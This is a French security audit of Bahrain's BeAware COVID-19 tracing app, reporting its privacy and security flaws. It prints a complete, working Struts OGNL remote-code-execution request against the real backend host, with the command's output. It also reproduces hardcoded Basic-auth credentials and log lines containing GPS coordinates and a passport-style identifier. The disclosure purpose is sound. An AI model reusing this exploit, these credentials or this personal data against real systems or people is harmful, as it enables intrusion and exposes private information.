Neutron, notre moteur d’IA, a obtenu un score de 96,75 % sur le benchmark CyberGym de l’UC Berkeley. En savoir plus

Sécurité

Sécurité

Comment compromettre des appareils mobiles à l'échelle d'un pays : analyse de l'application de traçage de contacts COVID-19 BeAware Bahrain

Test de sécurité mobile de l'application de traçage de contacts Covid-19 BeAware

Résumé

Cet article est une analyse de l'application mobile BeAware Bahrain, sur iOS comme sur Android, en se concentrant sur la transparence du processus, la sécurité, la confidentialité, les capacités de traçage et l'accessibilité. Cette analyse fait suite à notre série d'articles consacrés aux applications de traçage de contacts COVID-19, réalisée en collaboration avec Randorisec. Nous vous invitons à lire l'article précédent pour vous familiariser avec la méthodologie et le contexte de ces analyses.

Le standard de référence

Avant d'analyser une application de traçage de contacts, il faut d'abord s'accorder sur un ensemble d'attentes, ou sur un standard, auxquels ces applications doivent répondre.

À notre connaissance, aucun standard n'a été défini nulle part. Alors que certaines organisations parlent de confidentialité et que d'autres abordent l'efficacité du protocole de traçage et les garanties qu'il offre, il n'existe ni spécification ni guide sur lesquels nous puissions nous appuyer.

Nous avons donc dû rédiger nos attentes à partir d'un ensemble d'éléments que nous avons collectés et de notre bon sens.

Ces exigences sont de haut niveau et volontairement indépendantes de l'implémentation :

  • Transparence
  • Le protocole de traçage est documenté
  • L'architecture et la conception de l'application sont documentées
  • L'application dispose d'un programme pour traiter les problèmes de confidentialité et de sécurité (Bug Bounty)
  • L'application est open source pour faciliter la revue et l'évaluation par la communauté
  • Confidentialité
  • L'application ne collecte pas de données personnelles identifiables (PII)
  • L'application ne suit pas les utilisateurs et ne collecte pas de données de localisation
  • L'application utilise un ensemble limité de permissions sur l'appareil, essentiellement restreint à la découverte Bluetooth et à l'accès à Internet
  • L'application offre aux utilisateurs le contrôle de leurs données, pour leur suppression et leur partage
  • Sécurité
  • L'application impose une surface d'attaque réduite, sans publicité, sans paiement ni fonctionnalités superflues
  • L'application utilise des dépendances tierces vérifiées et à jour
  • L'application communique via un canal chiffré sécurisé
  • L'application est sécurisée et ne divulgue aucune information de traçage à quelque partie que ce soit
  • Efficacité du traçage
  • Le protocole de traçage ne permet pas de suivre des individus
  • Le partage des informations de contact est soumis au consentement (opt-in)
  • Le traçage ne partage ni ne collecte de données de localisation ou de PII
  • Le traçage ne permet pas de retrouver les personnes infectées
  • Les vérifications de traçage ne sont pas centralisées et sont contrôlées par l'utilisateur
  • Le traçage fonctionne sur Android et iOS même lorsque l'application est en arrière-plan ou que l'écran est éteint
  • Accessibilité
  • L'application est accessible en plusieurs langues, y compris pour les utilisateurs non locaux
  • L'application peut être utilisée par des non-résidents (bloqués dans le pays en raison de l'interdiction de voyager)
  • L'application est utilisable par des personnes en situation de handicap (daltonisme, déficience visuelle, etc.)
  • L'application est utilisable sur des téléphones d'entrée de gamme (taille de l'application, consommation de batterie, faible bande passante, etc.)

TL;DR

Les principaux résultats pour l'application BeAware ont identifié des problèmes critiques qui touchent à la confidentialité des utilisateurs et à la sécurité de l'infrastructure, y compris les appareils des utilisateurs.

L'application collecte la position GPS en continu, et celle-ci fuit en outre par différents vecteurs (trafic en clair, journaux). La sécurité de l'application pourrait conduire à la compromission de l'appareil.

texte alternatif
test de sécurité d'applications mobiles

Élément Catégorie Sévérité
Serveur backend obsolète vulnérable à l'exécution de code à distance Sécurité Élevée
Absence de documentation, de spécifications et de code source Transparence Élevée
Endpoint caché affichant une carte de chaleur des utilisateurs infectés et divulguant les adresses exactes des utilisateurs Traçage de contacts / Confidentialité Élevée
Le serveur backend peut injecter du code arbitraire dans l'application mobile Sécurité / Confidentialité Élevée
Contact sécurité sans réponse Transparence Élevée
L'application divulgue des informations personnelles identifiables et la localisation dans les journaux Confidentialité Moyenne
Bibliothèque OpenSSL obsolète Sécurité Faible
Identifiants et secrets codés en dur dans l'application Qualité du code / Sécurité Faible
Source map Javascript incluse dans l'application Qualité du code / Sécurité Faible
Liste blanche Apache Cordova non sécurisée Sécurité Faible
Des informations personnelles identifiables (numéro de passeport et numéro de téléphone) et la localisation sont collectées en continu par l'application Traçage de contacts / Confidentialité Faible

Analyse approfondie : l'application BeAware

texte alternatif
Logo de l'application

Transparence

Au cours de nos recherches, nous n'avons trouvé aucune documentation ni spécification concernant l'application. Le code source n'est pas accessible publiquement, bien qu'il ait pu être récupéré en partie à partir de l'application en raison d'une mauvaise configuration.

Sécurité

L'application mobile BeAware utilise le framework multiplateforme Ionic, Typescript et Angular. Le niveau de sécurité de l'application mobile souffre de plusieurs problèmes qui peuvent conduire à la compromission complète des serveurs backend et être exploités pour compromettre le téléphone mobile.

Communication réseau

L'application communique via TLS et effectue une validation correcte des certificats, sauf pour certains endpoints qui communiquent en clair, voir l'extrait de code source ci-dessous. L'endpoint entraînera une redirection vers HTTPS ou déclenchera HTTP Strict Transport Security (HSTS) dans la plupart des cas pour maps.google.com.

this.serviceProvider.gaTrackEvent("AppointmentPage", "Location");
if (userlocation == null) {
 mapUrl = "http://maps.google.com?q=" + item.location.lat + "," + item.location.lon;
} else {
 mapUrl = "http://maps.google.com/maps?daddr=" + item.location.lat + "," + item.location.lon + "&saddr=" + userlocation.coords.latitude + "," + userlocation.coords.longitude;
}

Identifiants et secrets codés en dur

La communication avec plusieurs endpoints d'API utilise des identifiants codés en dur envoyés dans l'en-tête d'autorisation HTTP Basic. L'API n'implémente aucun système de gestion de session et envoie en continu le numéro de téléphone, l'identifiant personnel et l'appareil pour identifier l'utilisateur.

this.commonUrl = "https://apps.bahrain.bh/eGACommonService/services/secure/cs/";
this.corUrl = "https://apps.bahrain.bh/corona-tracking-client-api/";
this.headers = new __WEBPACK_IMPORTED_MODULE_2__angular_http__["a" /* Headers */]({
            'Content-Type': 'application/json',
            'appname': 'BCT',
            'platform': this.platform.is('ios') ? 'ios' : 'android',
            'language': this.translate.getDefaultLang() == "en" ? "English" : "Arabic",
        'Accept-Language': this.translate.getDefaultLang(),
});
this.common = 'Basic T0NUX0lPUzpUQ09AMzRXMDEwI0lDUw==';
this.cor = 'Basic VEFXX0lPUzpUQVdAMjNKMTYwI1RBVw==';
Dépendances tierces

L'application utilise plusieurs dépendances Cordova ; ces dépendances ont été identifiées par empreinte à partir du fichier cordova_plugins.js.

module.exports.metadata =
// TOP OF METADATA
{
 "cordova-plugin-background-fetch": "6.0.3",
 "cordova-background-geolocation": "3.6.0",
 "cordova-plugin-network-information": "2.0.2",
 "cordova-plugin-device": "2.0.2",
 "cordova-plugin-inappbrowser": "3.2.0",
 "cordova-plugin-ionic-keyboard": "2.0.5",
 "cordova-support-android-plugin": "1.0.1",
 "cordova-support-google-services": "1.2.1",
 "cordova-plugin-firebase-messaging": "1.2.1",
 "cordova-plugin-firebase-analytics": "1.1.1",
 "cordova-plugin-app-version": "0.1.9",
 "es6-promise-plugin": "4.2.2",
 "cordova-plugin-x-socialsharing": "5.6.4",
 "cordova-plugin-whitelist": "1.3.3",
 "cordova-plugin-statusbar": "2.4.2",
 "cordova-plugin-splashscreen": "5.0.2",
 "cordova-plugin-ionic-webview": "4.0.0",
 "cordova.plugins.diagnostic": "5.0.1",
 "cordova-plugin-camera-with-exif": "1.3.1",
 "cordova-plugin-file": "6.0.2",
 "com.unarin.cordova.beacon": "3.8.1",
 "cordova-plugin-badge": "0.8.8",
 "cordova-plugin-local-notification": "0.9.0-beta.2",
 "cordova-open-native-settings": "1.5.2",
 "cordova-plugin-calendar": "5.1.5",
 "cordova-plugin-hms-location": "1.0.0"
};
// BOTTOM OF METADATA
});

Les plugins Cordova ne sont pas réputés pour signaler les vulnérabilités corrigées, voir par exemple https://www.npmjs.com/package/cordova-plugin-advanced-http qui a corrigé une vulnérabilité dans la validation des certificats TLS/SSL à la version 2.0.7 sans signaler de CVE.

Le serveur backend indique en revanche une version obsolète d'OpenSSL :

HTTP/1.1 200
Content-Type: application/json
Content-Length: 221
Connection: close
Date: Sat, 13 Jun 2020 21:34:49 GMT
Server: Apache/2.4.43 (Amazon) OpenSSL/1.0.2k-fips
Access-Control-Allow-Origin: http://localhost
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT
Access-Control-Max-Age: 601
Access-Control-Allow-Headers: Authorization, appname, language, Content-Type, platform, Accept, X-Login-Ajax-call, JSESSIONID, Accept-Language, X-Authorization
Access-Control-Expose-Headers: JSESSIONID
Vary: Accept-Encoding
X-Cache: Miss from cloudfront
Via: 1.1 8455bcb2c0203b0c4ee93b610d75e69b.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: ZRH50-C1
X-Amz-Cf-Id: 7uLTx5gMknzyi-9W3HahufU5A_u94et3ZOcAq6Ty9FiPZFD3uWs8ig==


{"statusMessageEN":"App update Subscription was successful. count: 0. unsubscribeCount: 0","statusMessageAR":"App update Subscription was successful. count: 0. unsubscribeCount: 0","appRegisterID":null,"statusCode":"200"}

Toutes les vulnérabilités connues ont un impact faible ou ne sont pas exploitables à distance.

Backend

Au cours de notre investigation, nous avons identifié que le serveur backend utilise une version obsolète d'Apache Struts vulnérable à l'exécution de code à distance (CVE-2013-2135), voir ci-dessous le détail complet de la requête et de la réponse.

GET /CMSWebApplication/?redirect:%25%7b%28%23%5f%3d%27%6d%75%6c%74%69%70%61%72%74%2f%66%6f%72%6d%2d%64%61%74%61%27%29%2e%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3f%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3d%23%64%6d%29%3a%28%28%23%63%6f%6e%74%61%69%6e%65%72%3d%23%63%6f%6e%74%65%78%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%3d%23%63%6f%6e%74%61%69%6e%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%29%29%2e%28%23%63%6d%64%3d%27%6c%73%27%29%2e%28%23%69%73%77%69%6e%3d%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%53%79%73%74%65%6d%40%67%65%74%50%72%6f%70%65%72%74%79%28%27%6f%73%2e%6e%61%6d%65%27%29%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%63%6f%6e%74%61%69%6e%73%28%27%77%69%6e%27%29%29%29%2e%28%23%63%6d%64%73%3d%28%23%69%73%77%69%6e%3f%7b%27%63%6d%64%2e%65%78%65%27%2c%27%2f%63%27%2c%23%63%6d%64%7d%3a%7b%27%2f%62%69%6e%2f%62%61%73%68%27%2c%27%2d%63%27%2c%23%63%6d%64%7d%29%29%2e%28%23%70%3d%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%23%63%6d%64%73%29%29%2e%28%23%70%2e%72%65%64%69%72%65%63%74%45%72%72%6f%72%53%74%72%65%61%6d%28%74%72%75%65%29%29%2e%28%23%70%72%6f%63%65%73%73%3d%23%70%2e%73%74%61%72%74%28%29%29%2e%28%23%72%6f%73%3d%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%63%6f%70%79%28%23%70%72%6f%63%65%73%73%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%72%6f%73%29%29%2e%28%23%72%6f%73%2e%66%6c%75%73%68%28%29%29%7d HTTP/2
Host: apps.bahrain.bh
User-Agent: curl/7.65.3
Accept: */*
HTTP/2 200
date: Mon, 15 Jun 2020 10:26:13 GMT
server: Apache/2.4.43 (Amazon) OpenSSL/1.0.2k-fips
set-cookie: JSESSIONID=04419697E535A1149042AEBFB1E9B02D; Path=[REDACTED]; Secure; HttpOnly
x-cache: Miss from cloudfront
via: 1.1 aa787b163703f7d10f3853a5942eae76.cloudfront.net (CloudFront)
x-amz-cf-pop: YTO50-C2
x-amz-cf-id: G31YvcT9NzY9oZS7W_4dhziwZRl-DJZWgHxAjHnUNCFwKVtQcwgQew==

bin
conf
lib
logs
temp
webapps
work

* Connection #0 to host apps.bahrain.bh left intact

La cause racine commune de ces problèmes est que la bibliothèque Struts est intégrée dans les fichiers jar/war. Les pratiques courantes de mise à jour des paquets du système d'exploitation sans reconstruire l'application ne suffisent pas à corriger ce problème.

L'application mobile récupère plusieurs informations auprès du serveur ; les paramètres desEn et desAr sont des entrées HTML directement injectées dans l'application via innerHTML, voir la réponse ci-dessous et un extrait du code source du template :

HTTP/1.1 200
Content-Type: application/json
Connection: close
Date: Sat, 13 Jun 2020 21:36:45 GMT
Server: Apache/2.4.43 (Amazon) OpenSSL/1.0.2k-fips
Access-Control-Allow-Origin: http://localhost
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT
Access-Control-Max-Age: 601
Access-Control-Allow-Headers: Authorization, appname, language, Content-Type, platform, Accept, X-Login-Ajax-call, JSESSIONID, Accept-Language, X-Authorization
Access-Control-Expose-Headers: JSESSIONID
Vary: Accept-Encoding
X-Cache: Miss from cloudfront
Via: 1.1 08c5e904e2f0226b2d9c1417f32b12f2.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: ZRH50-C1
X-Amz-Cf-Id: MrFRytnry9kNIIsBvSLtXmaxZ_v-qvMNyDmcz5j_KZT-T36dRTKluA==
Content-Length: 59500

{"appStoreList":[{"code":"MYS","nameAr":"eشباب","nameEn":"eShabab","ownerAr":"وزارة شئون الشباب والرياضة","ownerEn":"Ministry of Youth and Sports Affairs (MYS)","descAr":"<p>يوفر هذا التطبيق مجموعة من الخدمات التي تستهدف فئة الشباب، حيث بإمكانهم الاستفادة مما يلي:</p>\r\n<ul>\r\n\t<li>خدمة "يلا نسجل"، حيث تتيح إمكانية:\r\n\t\t<ol>\r\n\t\t\t<li>تسجيل وتحديث الملف الشخصي.</li>\r\n\t\t\t<li>البحث والتسجيل في البرامج الشبابية</li>\r\n\t\t\t<li>عرض قائمة البرامج المسجلة</li>\r\n\t\t\t<li>التسجيل لامتحان التقييم والاستعلام عن حالة الامتحان</li>\r\n\t\t\t<li>إضافة أفراد العائلة (أبناء أو أشقاء) مع إمكانية تسجيلهم في البرامج</li>\r\n\t\t\t<li>التسجيل للحصول على إخطارات في حال توفر مقاعد شاغرة للبرامج مكتملة التسجيل.</li>\r\n\t\t</ol>\r\n\t</li>\r\n\t<li>خدمة "سواعد"، حيث تتيح إمكانية تقيم طلب التطوع لوزارة شؤون الشباب والرياضة.</li>\r\n\t<li>عرض قائمة الفعاليات التي تنظمها وزارة شؤون الشباب والرياضة مع إمكانية التسجيل، إضافة الفعالية إلى التقويم، ومشاركة تفاصيلها عبر تطبيقات التواصل الاجتماعي.</li>\r\n\t<li>مواقعنا: خدمة تعتمد على الخريطة لعرض تفاصيل جميع المراكز الشبابية والأندية الرياضة المتواجدة في مملكة البحرين.</li>\r\n\t<li>توفير الإشعارات والإخطارات المرسلة من قبل الوزارة عبر التطبيق</li>\r\n</ul>","descEn":"<p>This app provides a collection of services targeting the Youth, where they can benefit from the following:</p>\r\n<ul>\r\n\t<li>"Let's Register" service, where it provides the ability to:\r\n\t\t<ol>\r\n\t\t\t<li>Create and update the user profile.</li>\r\n\t\t\t<li>Search and register for youth programs.</li>\r\n\t\t\t<li>View the list of registered programs.</li>\r\n\t\t\t<li>Register for assessment exams and enquire about the status.</li>\r\n\t\t\t<li>Add Family members (Children or Siblings) with the ability to register them for programs.</li>\r\n\t\t\t<li>Request to be notified when seats are available for fully booked programs.</li>\r\n\t\t</ol>\r\n\t</li>\r\n\t<li>"Sawaed" service, where users can submit a volunteering request to Ministry of Youth and Sport Affairs (MYS).</li>\r\n\t<li>View the list of events provided by Ministry of Youth and Sport Affairs (MYS) with the ability to register, add it to the calendar, and share the event details through social media.</li>\r\n\t<li>MYS Locator: A map-based service that provides the list of youth centers and sport clubs across the Kingdom of Bahrain and the details for each center or club.</li>\r\n\t<li>Receive notifications sent by the ministry.</li>\r\n</ul>","rating":3.27,"screenshots":["https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_1.png","https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_2.png","https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_3.png","https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_4.png","https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_5.png"],"ratingCount":24,"linkAr":"https://eshabab.page.link/ar","linkEn":"https://eshabab.page.link/en","aboutAr":"\n<p>يتيح هذا التطبيق مجموعة من الخدمات بالتعاون مع الجهات التالية:</p>\n<ul>\n  <li>هيئة المعلومات والحكومة الإلكترونية</li>\n  <li>وزارة شؤون الشباب والرياضة</li>\n</ul>\n<p>يهدف التطبيق إلى عرض الفعاليات والبرامج المتاحة للشباب وتسهيل عملية التسجيل فيها، إلى جانب إمكانية تقديم طلب للعمل التطوعي.\n</p>\n","aboutEn":"\n<p>This application provides a group of services in collaboration with the following entities:</p>\n<ul>\n  <li>Information and eGovernment Authority (iGA)</li>\n  <li>Ministry of Youth and Sport Affairs (MYS)</li>\n</ul>\n<p>It aims to introduce the list of events and programs provided for the youth easing the registration process, along with the ability to submit a volunteering request.\n</p>\n","icon":"https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_logo.png","order":70,"status":"STABLE"},
Object(__WEBPACK_IMPORTED_MODULE_1__angular_core__["Component"])({
   selector: 'page-our-apps-details',template:/*ion-inline-start:"D:\angular-2\corona19\corona-tracking-app\src\pages\our-apps-details\our-apps-details.html"*/'<ion-header>\n\n  <ion-navbar no-border-bottom color="light">\n\n    <button ion-button menuToggle>\n\n      <ion-icon name="menu"></ion-icon>\n\n    </button>\n\n    <ion-title text-center>{ { translate.getDefaultLang() == \'ar\' ? app?.nameAr : app?.nameEn} }</ion-title>\n\n    <ion-buttons end>\n\n      <button ion-button icon-only (click)="socialMediaShare()">\n\n        <ion-icon name="md-share"></ion-icon>\n\n      </button>\n\n    </ion-buttons>\n\n  </ion-navbar>\n\n</ion-header>\n\n\n\n<ion-content>\n\n  <div class="whiteBg">\n\n    <ion-grid class="appInfo ">\n\n      <ion-row>\n\n        <ion-col col-5>\n\n          <img class="icon" [src]="app?.icon" />\n\n        </ion-col>\n\n        <ion-col col-7>\n\n          <h3 class="name">{ {translate.getDefaultLang() == \'ar\' ? app?.nameAr : app?.nameEn} }</h3>\n\n          <div class="author">{ {translate.getDefaultLang() == \'ar\' ? app?.ownerAr : app?.ownerEn} }</div>\n\n          <button ion-button round color="primary"\n\n            (click)="openURL(translate.getDefaultLang() == \'ar\' ? app.linkAr : app.linkEn)">{ {\'OURAPPSDETAILS.PREVIEW\'\n\n            | translate} }\n\n          </button>\n\n        </ion-col>\n\n      </ion-row>\n\n      <ion-row>\n\n        <ion-col>\n\n          <div class="rate-star">\n\n            <span>{ {app?.rating | number : \'1.1-1\'} }</span>\n\n            <ion-icon *ngFor="let star of stars" [name]="star" class="stars"></ion-icon>\n\n          </div>\n\n          <p class="rate-counter">{ {app?.ratingCount} } { {\'OURAPPSDETAILS.RATINGS\' | translate} }</p>\n\n        </ion-col>\n\n      </ion-row>\n\n    </ion-grid>\n\n    <hr>\n\n    <div class="description" padding>\n\n      <h2 class="title">{ {\'OURAPPSDETAILS.DESCRIPTION\' | translate} }</h2>\n\n      <div class="details" [innerHTML]="translate.getDefaultLang() == \'ar\' ? app?.descAr : app?.descEn">

Une fois que l'attaquant a compromis le serveur backend, il est possible d'empoisonner les réponses du serveur en injectant une porte dérobée javascript pour compromettre les appareils mobiles.

Il existe de nombreuses techniques pour obtenir ensuite de la persistance, en s'appuyant sur les service workers ou sur l'accès en écriture au cache de l'application.

Pour des raisons évidentes, aucune de ces attaques n'a été testée ; elles sont détectées à partir de l'analyse du trafic réseau et de l'analyse statique.

Enchaîner ces vulnérabilités peut conduire à la compromission de centaines de milliers d'appareils, compte tenu des permissions excessives de l'application.

Code source

Le code source de l'application fuit via .js.map.

{
 "version": 3,
 "sources": [
   "../../src/pipes/language/language.ts",
   "../../src/pages/leave-permistions/leave-permistions.ts",
   "../../src/pages/leave-permission-change/leave-permission-change.ts",
   "../../src/pages/self-requests/self-requests.ts",
   "../../src/pages/registration-photo/registration-photo.ts",
   "../../node_modules/@angular/core/esm5 lazy",
   "../../src/pages/symtoms-report-pop-up/symtoms-report-pop-up.ts",
   "../../src lazy",
   "../../src/pages/symtoms-report/symtoms-report.ts",
   "../../src/pages/gmap/gmap.ts",
   "../../src/pages/dispute/dispute.ts",
   "../../src/pages/appointment/appointment.ts",
   "../../src/pages/appointment-confirm/appointment-confirm.ts",
   "../../src/pages/change-mobile/change-mobile.ts",
   "../../src/pages/decisions/decisions.ts",
   "../../src/pages/notification-details/notification-details.ts",
   "../../src/pages/registration/registration.ts",
   "../../src/pages/test-results/test-results.ts",
   "../../src/pages/test-results-details/test-results-details.ts",
   "../../src/pages/self-upload/self-upload.ts",
   "../../src/pages/popup-status/popup-status.ts",
   "../../src/pages/leave-permistions-modal/leave-permistions-modal.ts",
   "../../src/pages/leave-permistions-request/leave-permistions-request.ts",

...
"names": [],
  "mappings": ";;;;;;;;;;;;;;;;;;AAAoD;AACG;AAKvD;IACE,sBAAoB,SAA2B;QAA3B,cAAS,GAAT,SAAS,CAAkB;IAAI,CAAC;IAEpD,gCAAS,GAAT,UAAU,KAAa;QAErB,MAAM,CAAC,KAAK,CAAC,CAAC,CAAC,IAAI,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC;IAC3C,CAAC;IAED,+BAAQ,GAAR,UAAS,KAAK;QACZ,IAAM,IAAI,GA
...
"file": "main.js",
 "sourcesContent": [
   "import { Pipe, PipeTransform } from '@angular/core';\r\nimport { TranslateService } from '@ngx-translate/core';\r\n\

Les source maps peuvent facilement servir à recréer le code source d'origine avec les 8 lignes de code suivantes :

import json
from pathlib import Path

j = json.load(open('main.js.map', 'r'))
names = j['sources']
contents = j['sourcesContent']
for n, c in zip(names, contents):
   Path(n).parent.mkdir(parents=True, exist_ok=True)
   open(n, '+w').write(c)
Liste blanche Cordova non sécurisée

La liste blanche de Cordova gère les accès de sécurité réseau et ne doit autoriser explicitement que les ressources accessibles. Pourtant, la liste blanche de BeAware autorise un accès sans restriction à toutes les ressources

Url whitelisted: *

Confidentialité et traçage de contacts

Permissions

L'application demande un grand nombre de permissions, même si plusieurs d'entre elles ne sont pas utilisées par l'application. Le traçage de contacts par Bluetooth, par exemple, n'est pas entièrement implémenté et n'est pas opérationnel dans l'application, mais il figure pourtant parmi les permissions demandées par l'application.

Les permissions demandées incluent l'accès au réseau, au GPS, au Bluetooth, aux contacts et au stockage externe.

Voici la liste de toutes les permissions sur Android :

  <uses-permission android:name="android.permission.INTERNET"/>
  <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
  <uses-permission android:name="android.permission.BLUETOOTH" android:required="false"/>
  <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
  <uses-permission android:name="android.permission.WAKE_LOCK"/>
  <uses-permission android:name="android.permission.READ_CALENDAR"/>
  <uses-permission android:name="android.permission.WRITE_CALENDAR"/>
  <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" android:required="false"/>
  <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
  <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
  <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
  <uses-permission android:name="android.permission.GET_TASKS"/>
  <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
  <uses-permission android:name="android.permission.ACTIVITY_RECOGNITION"/>
  <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
  <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
  <uses-permission android:name="com.google.android.gms.permission.ACTIVITY_RECOGNITION"/>
  <uses-permission android:name="oppo.permission.OPPO_COMPONENT_SAFE"/>
  <uses-permission android:name="com.huawei.permission.external_app_settings.USE_COMPONENT"/>
  <uses-feature android:name="android.hardware.location.gps" android:required="false"/>
  <uses-permission android:name="com.sec.android.provider.badge.permission.READ"/>
  <uses-permission android:name="com.sec.android.provider.badge.permission.WRITE"/>
  <uses-permission android:name="com.htc.launcher.permission.READ_SETTINGS"/>
  <uses-permission android:name="com.htc.launcher.permission.UPDATE_SHORTCUT"/>
  <uses-permission android:name="com.sonyericsson.home.permission.BROADCAST_BADGE"/>
  <uses-permission android:name="com.sonymobile.home.permission.PROVIDER_INSERT_BADGE"/>
  <uses-permission android:name="com.anddoes.launcher.permission.UPDATE_COUNT"/>
  <uses-permission android:name="com.majeur.launcher.permission.UPDATE_BADGE"/>
  <uses-permission android:name="com.huawei.android.launcher.permission.CHANGE_BADGE"/>
  <uses-permission android:name="com.huawei.android.launcher.permission.READ_SETTINGS"/>
  <uses-permission android:name="com.huawei.android.launcher.permission.WRITE_SETTINGS"/>
  <uses-permission android:name="android.permission.READ_APP_BADGE"/>
  <uses-permission android:name="com.oppo.launcher.permission.READ_SETTINGS"/>
  <uses-permission android:name="com.oppo.launcher.permission.WRITE_SETTINGS"/>
  <uses-permission android:name="me.everything.badger.permission.BADGE_COUNT_READ"/>
  <uses-permission android:name="me.everything.badger.permission.BADGE_COUNT_WRITE"/>
  <uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/>
  <uses-permission android:name="com.google.android.finsky.permission.BIND_GET_INSTALL_REFERRER_SERVICE"/>

Et voici la liste des permissions requises sur iOS :

<key>NSMicrophoneUsageDescription</key>
<string>This app requires microphone access to function properly.</string>
<key>NSMotionUsageDescription</key>
<string>Device motion updates help determine when the device is stationary so the app can save power by turning off location-updates</string>
<key>NSCalendarsUsageDescription</key>
<string>Calendar permission is required for adding corona test appointments</string>
<key>NSRemindersUsageDescription</key>
<string>This app requires reminders access to function properly.</string>
<key>NSLocationWhenInUseUsageDescription</key>
<string>Background location tracking is required for our app so we can track your location for corona affected places</string>
<key>NSLocationAlwaysAndWhenInUseUsageDescription</key>
<string>Background location tracking is required for our app so we can track your location for corona affected places</string>
<key>NSPhotoLibraryUsageDescription</key>
<string>This app requires photo library access to function properly.</string>
<key>NSPhotoLibraryAddUsageDescription</key>
<string>This app requires photo library access to function properly.</string>
<key>NSContactsUsageDescription</key>
<string>This app requires contacts access to function properly.</string>
<key>NSLocationAlwaysUsageDescription</key>
<string>Background location tracking is required for our app so we can track your location for corona affected places</string>
<key>NSCameraUsageDescription</key>
<string>Camera access is required for quarantine photo uploads or to attach medical certificate</string>
<key>NSBluetoothAlwaysUsageDescription</key>
<string>Bluetooth permission is required for Home quarantined users to detect wristband</string>
<key>NSBluetoothPeripheralUsageDescription</key>
<string>This app would like to scan for iBeacons.</string>
Journalisation

L'application journalise des quantités massives de données, y compris des PII et des informations de suivi, comme l'identifiant de l'appareil, l'identifiant de pièce officielle, tel que le passeport, le numéro de téléphone, etc.

Voici un extrait qui divulgue les coordonnées GPS :

06-14 12:31:37.637 19337 19337 D TSLocationManager: ╔═════════════════════════════════════════════
06-14 12:31:37.637 19337 19337 D TSLocationManager: ║ TrackingService: LocationResult
06-14 12:31:37.637 19337 19337 D TSLocationManager: ╠═════════════════════════════════════════════
06-14 12:31:37.637 19337 19337 D TSLocationManager: ╟─ 📍  Location[fused 26.233880,50.577910 hAcc=20 et=+13h12m43s511ms vel=9.174615 bear=90.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{}]}], age: 264ms, time: 1592130712000
06-14 12:31:37.637 19337 19337 I TSLocationManager: [c.t.l.service.TrackingService a]
06-14 12:31:37.637 19337 19337 I TSLocationManager:   ℹ️  Distance from stoppedAtLocation: -40.0
06-14 12:31:37.637 19337 21391 D TSLocationManager: [c.t.l.l.TSLocationManager onLocationResult]

Voici un extrait des journaux qui divulgue les informations de l'utilisateur (passeport, numéro de téléphone, identifiant de l'appareil) :

06-14 11:02:46.654 19337 19425 I TSLocationManager:   "params": {
06-14 11:02:46.654 19337 19425 I TSLocationManager:     "userDevice": {
06-14 11:02:46.654 19337 19425 I TSLocationManager:       "userType": "passport",
06-14 11:02:46.654 19337 19425 I TSLocationManager:       "userId": "CN1586236",
